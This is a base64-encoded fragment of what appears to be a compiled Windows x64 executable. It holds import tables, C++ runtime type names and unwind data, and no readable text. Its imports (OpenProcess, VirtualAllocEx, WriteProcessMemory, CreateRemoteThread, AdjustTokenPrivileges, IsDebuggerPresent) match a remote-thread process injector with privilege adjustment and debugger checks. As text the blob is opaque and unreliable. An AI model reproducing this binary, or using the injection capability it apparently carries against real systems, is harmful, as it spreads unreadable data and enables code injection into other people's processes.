AdBAAAAAAA/////wAAAAAYAAAA4BMAAAAAAAAAAAAAAAAAAAAAAAB4HQQAAAAAAP////8AAAAAGAAAACAZAAAAAAAAAAAAAAAAAAAQAAAAKB0EAAAAAAD/////AAAAABgAAACAEwAAAAAAAAAAAAAAAAAAAAAAAKAdBAAAAAAA/////wAAAAAoAAAAwBcAAAAAAAAAAAAAAAAAAAUAAACg/QMAQPwDAEj9AwDQ/AMAyP0DAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAADQHAQAAAAAAP////8AAAAAKAAAAOAeAAAAAAAAAAAAAAAAAAAAAAAAyB0EAAAAAAD/////AAAAABgAAAAgEgAAAAAAAAAAAAAAAAAAAAAAANASAAAAAAAACPwDAAAAAAAAAAAAAAAAAGj+AwAAAAAAAAAAABICBAAg0AIASP4DAAAAAAAAAAAAZAIEAADQAgAAAAAAAAAAAAAAAAAAAAAAAAAAADQCBAAAAAAAIAIEAAAAAABMAgQAAAAAAAAAAAAAAAAAjgEEAAAAAACWAQQAAAAAAKYBBAAAAAAAtAEEAAAAAACAAQQAAAAAANgBBAAAAAAA7AEEAAAAAAACAgQAAAAAABQIBAAAAAAAagEEAAAAAABWAQQAAAAAAMYBBAAAAAAAQAEEAAAAAAByAgQAAAAAAIgCBAAAAAAAoAIEAAAAAAC4AgQAAAAAANYCBAAAAAAA7gIEAAAAAAD+AgQAAAAAAA4DBAAAAAAAJAMEAAAAAAA0AwQAAAAAAEYDBAAAAAAAUgMEAAAAAABmAwQAAAAAAIADBAAAAAAAlAMEAAAAAACwAwQAAAAAAM4DBAAAAAAA4gMEAAAAAAD+AwQAAAAAABgEBAAAAAAALgQEAAAAAABEBAQAAAAAAF4EBAAAAAAAdAQEAAAAAACIBAQAAAAAAJoEBAAAAAAAqAQEAAAAAAC8BAQAAAAAAM4EBAAAAAAA3gQEAAAAAAAGBQQAAAAAABIFBAAAAAAAIAUEAAAAAAAuBQQAAAAAADgFBAAAAAAARgUEAAAAAABYBQQAAAAAAGgFBAAAAAAAdAUEAAAAAACKBQQAAAAAAJgFBAAAAAAArgUEAAAAAADABQQAAAAAANIFBAAAAAAA3gUEAAAAAADqBQQAAAAAAPwFBAAAAAAADAYEAAAAAAAeBgQAAAAAAC4GBAAAAAAARAYEAAAAAABaBgQAAAAAAGgGBAAAAAAAfgYEAAAAAACQBgQAAAAAAKgGBAAAAAAAvAYEAAAAAADSBgQAAAAAAOQGBAAAAAAA8AYEAAAAAAAABwQAAAAAABQHBAAAAAAAJAcEAAAAAAAyBwQAAAAAAD4HBAAAAAAAUgcEAAAAAABiBwQAAAAAAHQHBAAAAAAAfgcEAAAAAACKBwQAAAAAAKQHBAAAAAAAvgcEAAAAAADYBwQAAAAAAOgHBAAAAAAA+gcEAAAAAAAGCAQAAAAAACQIBAAAAAAAAAAAAAAAAAAuBldyaXRlUHJvY2Vzc01lbW9yeQAAIAJHZXRDdXJyZW50UHJvY2VzcwDqBVdhaXRGb3JTaW5nbGVPYmplY3QAEgRPcGVuUHJvY2VzcwCPBVNsZWVwAGoCR2V0TGFzdEVycm9yAACJAENsb3NlSGFuZGxlALgCR2V0UHJvY0FkZHJlc3MAANoFVmlydHVhbEFsbG9jRXgAAIECR2V0TW9kdWxlSGFuZGxlVwAA6gBDcmVhdGVSZW1vdGVUaHJlYWQAAN0FVmlydHVhbEZyZWVFeABLRVJORUwzMi5kbGwAABUCT3BlblByb2Nlc3NUb2tlbgAAHwBBZGp1c3RUb2tlblByaXZpbGVnZXMArwFMb29rdXBQcml2aWxlZ2VWYWx1ZVcAQURWQVBJMzIuZGxsAAARBldpZGVDaGFyVG9NdWx0aUJ5dGUAOAFFbnRlckNyaXRpY2FsU2VjdGlvbgAAxANMZWF2ZUNyaXRpY2FsU2VjdGlvbgAAbANJbml0aWFsaXplQ3JpdGljYWxTZWN0aW9uRXgAFAFEZWxldGVDcml0aWNhbFNlY3Rpb24ANAFFbmNvZGVQb2ludGVyAA0BRGVjb2RlUG9pbnRlcgD2A011bHRpQnl0ZVRvV2lkZUNoYXIAtwNMQ01hcFN0cmluZ0V4AOECR2V0U3RyaW5nVHlwZVcAAMoBR2V0Q1BJbmZvANUEUnRsQ2FwdHVyZUNvbnRleHQA3ARSdGxMb29rdXBGdW5jdGlvbkVudHJ5AADjBFJ0bFZpcnR1YWxVbndpbmQAAMAFVW5oYW5kbGVkRXhjZXB0aW9uRmlsdGVyAAB/BVNldFVuaGFuZGxlZEV4Y2VwdGlvbkZpbHRlcgCeBVRlcm1pbmF0ZVByb2Nlc3MAAIwDSXNQcm9jZXNzb3JGZWF0dXJlUHJlc2VudABSBFF1ZXJ5UGVyZm9ybWFuY2VDb3VudGVyACECR2V0Q3VycmVudFByb2Nlc3NJZAAlAkdldEN1cnJlbnRUaHJlYWRJZAAA8wJHZXRTeXN0ZW1UaW1lQXNGaWxlVGltZQBvA0luaXRpYWxpemVTTGlzdEhlYWQAhQNJc0RlYnVnZ2VyUHJlc2VudADaAkdldFN0YXJ0dXBJbmZvVwDiBFJ0bFVud2luZEV4AN4EUnRsUGNUb0ZpbGVIZWFkZXIAaARSYWlzZUV4Y2VwdGlvbgAAQQVTZXRMYXN0RXJyb3IAAGsDSW5pdGlhbGl6ZUNyaXRpY2FsU2VjdGlvbkFuZFNwaW5Db3VudACwBVRsc0FsbG9jAACyBVRsc0dldFZhbHVlALMFVGxzU2V0VmFsdWUAsQVUbHNGcmVlALQBRnJlZUxpYnJhcnkAygNMb2FkTGlicmFyeUV4VwAA3AJHZXRTdGRIYW5kbGUAACUGV3JpdGVGaWxlAH0CR2V0TW9kdWxlRmlsZU5hbWVXAABnAUV4aXRQcm9jZXNzAIACR2V0TW9kdWxlSGFuZGxlRXhXAADfAUdldENvbW1hbmRMaW5lQQDgAUdldENvbW1hbmRMaW5lVwBRA0hlYXBBbGxvYwBVA0hlYXBGcmVlAACeAENvbXBhcmVTdHJpbmdXAAC4A0xDTWFwU3RyaW5nVwAAbgJHZXRMb2NhbGVJbmZvVwAAlANJc1ZhbGlkTG9jYWxlAB4DR2V0VXNlckRlZmF1bHRMQ0lEAABcAUVudW1TeXN0ZW1Mb2NhbGVzVwAAWAJHZXRGaWxlVHlwZQBGAkdldEV4aXRDb2RlUHJvY2VzcwAA6ABDcmVhdGVQcm9jZXNzVwAATAJHZXRGaWxlQXR0cmlidXRlc0V4VwAAqAFGbHVzaEZpbGVCdWZmZXJzAAAJAkdldENvbnNvbGVPdXRwdXRDUAAABQJHZXRDb25zb2xlTW9kZQAAeQRSZWFkRmlsZQAAVgJHZXRGaWxlU2l6ZUV4ADMFU2V0RmlsZVBvaW50ZXJFeAAAdgRSZWFkQ29uc29sZVcAAFgDSGVhcFJlQWxsb2MAfgFGaW5kQ2xvc2UAhAFGaW5kRmlyc3RGaWxlRXhXAACVAUZpbmROZXh0RmlsZVcAkgNJc1ZhbGlkQ29kZVBhZ2UAuwFHZXRBQ1AAAKECR2V0T0VNQ1AAAEECR2V0RW52aXJvbm1lbnRTdHJpbmdzVwAAswFGcmVlRW52aXJvbm1lbnRTdHJpbmdzVwAkBVNldEVudmlyb25tZW50VmFyaWFibGVXAFsFU2V0U3RkSGFuZGxlAAC+AkdldFByb2Nlc3NIZWFwAABaA0hlYXBTaXplAADOAENyZWF0ZUZpbGVXACQGV3JpdGVDb25zb2xlVwDhBFJ0bFVud2luZAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAP////8BAAAACgAAAAAAAAD/////AAAAADKi3y2ZKwAAzV0g0mbU//91mAAAAAAAAAEAAAAAAAAAAQAAAAIAAAAAAAgAAAAAAAAAAAIAAAAA/////wAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAASAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAIgAAABAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAACIAAAAgAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAEBIEQAEAAABkLgRAAQAAAGQuBEABAAAAZC4EQAEAAABkLgRAAQAAAGQuBEABAAAAZC4EQAEAAABkLgRAAQAAAGQuBEABAAAAZC4EQAEAAAB/f39/f39/fxQSBEABAAAAaC4EQAEAAABoLgRAAQAAAGguBEABAAAAaC4EQAEAAABoLgRAAQAAAGguBEABAAAAaC4EQAEAAABwEQRAAQAAAC4AAAAuAAAAUAIDQAEAAABSBwNAAQAAAAwAAAAIAAAAAgAAAAAAAAAAAAAAAAAAAFQHA0ABAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA//////////8AAAAAAAAAAIAACgoKAAAAAAAAAAAAAAD/////AAAAAFACA0ABAAAAAQAAAAAAAAABAAAAAAAAAAAAAAABAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAgUBEABAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAACBQEQAEAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAIFARAAQAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAgUBEABAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAACBQEQAEAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAcBEEQAEAAAAAAAAAAAAAAAAAAAAAAAAA0AQDQAEAAABQBgNAAQAAAIA8A0ABAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAoBIEQAEAAADQFgRAAQAAAEMAAAABAAAAAQAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAEBAQEBAQEBAQEBAQEBAQEBAQEBAQEBAQEBAQEBAQEBAgICAgICAgICAgICAgICAgMDAwMDAwMDAAAAAAAAAAD+////AAAAAAAAAAAAAAAAUFNUAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAFBEVAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAABQAFMAVAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAFAARABUAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAMBUEQAEAAABwFQRAAQAAALAVBEABAAAAMBYEQAEAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAQEBAQEBAQEBAQEBAQEBAQEBAQEBAQEBAQEAAAAAAAACAgICAgICAgICAgICAgICAgICAgICAgICAgAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA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